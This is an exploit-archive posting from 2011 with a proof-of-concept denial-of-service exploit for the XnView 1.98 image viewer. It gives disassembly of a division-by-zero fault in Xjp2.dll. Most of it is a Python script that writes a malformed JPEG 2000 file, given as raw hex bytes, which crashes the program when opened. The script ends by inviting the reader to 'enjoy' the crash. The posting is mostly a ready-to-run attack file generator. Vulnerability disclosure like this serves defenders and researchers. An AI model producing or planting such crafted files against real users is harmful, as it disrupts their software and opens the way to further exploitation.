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XnView 1.98 Denial Of Service Proof Of Concept

XnView 1.98 Denial Of Service Proof Of Concept
Posted Jun 20, 2011
Authored by BraniX

XnView version 1.98 proof of concept denial of service exploit.

tags | exploit, denial of service, proof of concept
SHA-256 | fa100ee8b79f5fb0993035b6b1c6a7e65a6470c5a1875b1e5858ec2c67f26a4c

XnView 1.98 Denial Of Service Proof Of Concept

Change Mirror Download
# done by BraniX
# found: 2011.06.19
# published: 2011.06.20
# tested on: Windows XP SP3 Home Edition
# tested on: Windows XP SP3 Professional

# App: XnView 1.98 (latest version)
# App Url: http://www.xnview.com
# xnview.exe MD5: ebe200d81a095d296e94e887dc40e607
# Xjp2.dll MD5: 0c831c090f5a723d44bb641b175ca0e6

# DoS is caused by integer division by zero in module Xjp2.dll

# It can be triggered from:
# Local: C:\XnView 1.98 JP2000 (Compression 50%) DoS.jp2
# Remote: \\MySecretServer\XnView 1.98 JP2000 (Compression 50%) DoS.jp2

# 1000D1C4 8A44BA 03 MOV AL,BYTE PTR DS:[EDX+EDI*4+3]
# 1000D1C8 8941 E4 MOV DWORD PTR DS:[ECX-1C],EAX
# 1000D1CB 8B56 0C MOV EDX,DWORD PTR DS:[ESI+C]
# 1000D1CE 8D4413 FF LEA EAX,DWORD PTR DS:[EBX+EDX-1]
# 1000D1D2 33D2 XOR EDX,EDX
# 1000D1D4 F7F3 DIV EBX ; div by zero
# 1000D1D6 33D2 XOR EDX,EDX
# 1000D1D8 8BE8 MOV EBP,EAX
# 1000D1DA 8B46 04 MOV EAX,DWORD PTR DS:[ESI+4]
# 1000D1DD 8D4403 FF LEA EAX,DWORD PTR DS:[EBX+EAX-1]
# 1000D1E1 F7F3 DIV EBX
# 1000D1E3 8B59 E4 MOV EBX,DWORD PTR DS:[ECX-1C]

filepath = "C:\\XnView 1.98 JP2000 (Compression 50%) DoS.jp2"
f = open(filepath, "wb")
poc = '\x00\x00\x00\x0C\x6A\x50\x20\x20\x0D\x0A\x87\x0A\x00\x00\x00\x14\x66\x74\x79\x70\x6A\x70\x32\x20\x00\x00\x00\x00\x6A\x70\x32\x20\x00\x00\x00\x2D\x6A\x70\x32\x68\x00\x00\x00\x16\x69\x68\x64\x72\x00\x00\x00\x0D\x00\x00\x00\x0B\x00\x03\x07\x07\x00\x00\x00\x00\x00\x0F\x63\x6F\x6C\x72\x01\x00\x00\x00\x00\x00\x10\x00\x00\x00\x00\x6A\x70\x32\x63\xFF\x4F\xFF\x51\x00\x2F\x00\x00\x00\x00\x00\x0B\x00\x00\x00\x0D\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0B\x00\x00\x00\x0D\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x07\x00\x00\x07\x01\x01\x07\x01\x01\xFF\x5C\x00\x17\x42\x60\xC8\x42\x5D\x42\x5D\x42\x6D\x3A\xDB\x3A\xDB\x3B\x35\x32\xB8\x32\xB8\x32\x6B\xFF\x5D\x00\x18\x01\x42\x60\x6D\x41\xF2\x41\xF2\x42\x01\x3A\x6B\x3A\x6B\x3A\xC1\x32\x49\x32\x49\x31\xFF\xFF\x5D\x00\x18\x02\x42\x61\xAA\x43\x69\x43\x69\x43\x7A\x3B\xF3\x3B\xF3\x3C\x56\x33\xCC\x33\xCC\x33\x78\xFF\x52\x00\x0C\x00\x00\x00\x01\x01\x03\x04\x04\x00\x00\xFF\x64\x00\x0F\x00\x01\x4C\x57\x46\x5F\x4A\x50\x32\x5F\x32\x30\x37\xFF\x90\x00\x0A\x00\x00\x00\x00\x00\xA7\x00\x01\xFF\x93\xC7\xEC\x0C\x08\x8A\xC1\xC5\xD6\x54\xC0\x7D\x40\xA0\x0B\xBF\x3B\x6F\xDF\xC1\xF8\x02\x80\x03\x97\x3D\x32\x8B\xC0\xF8\x42\x87\xCE\x12\x07\xC2\x10\x01\x7F\x0C\x31\x03\x6B\x0B\xE3\xA0\x10\x80\x01\xC0\x74\x18\x1F\x08\x60\x04\x0C\x41\x6F\xC3\xE4\x13\x07\xC2\x34\x1F\x08\x80\x1C\xDD\xFD\x75\xB0\xA9\x74\x39\x3F\x0D\x31\x97\xD9\xD9\x7F\x0C\xAC\xCD\x9F\xC0\xE8\x60\x1F\x92\xE7\xC0\xE8\xB0\x3A\x1C\x04\x40\x1F\x1E\xA0\x20\x67\x12\x9A\x3F\x0C\xA7\xC3\xE1\x2A\x0E\x93\x07\x45\x61\x1C\x5E\xC3\xDD\xAC\x1B\xF5\x5B\xB9\x03\x8A\xAD\xF5\x07\x1F\x86\x1D\x5F\x19\xD8\x05\x13\xA3\xC0\x84\x5F\xC0\x8A\x04\x80\x01\x7F\x03\x9C\x46\xBF\xFF\xD9'
f.write(poc)
f.close()

print "Done, 1 file generated on 'C:\\' ..."
print "Open this file in XnView 1.98 and enjoy ;)"


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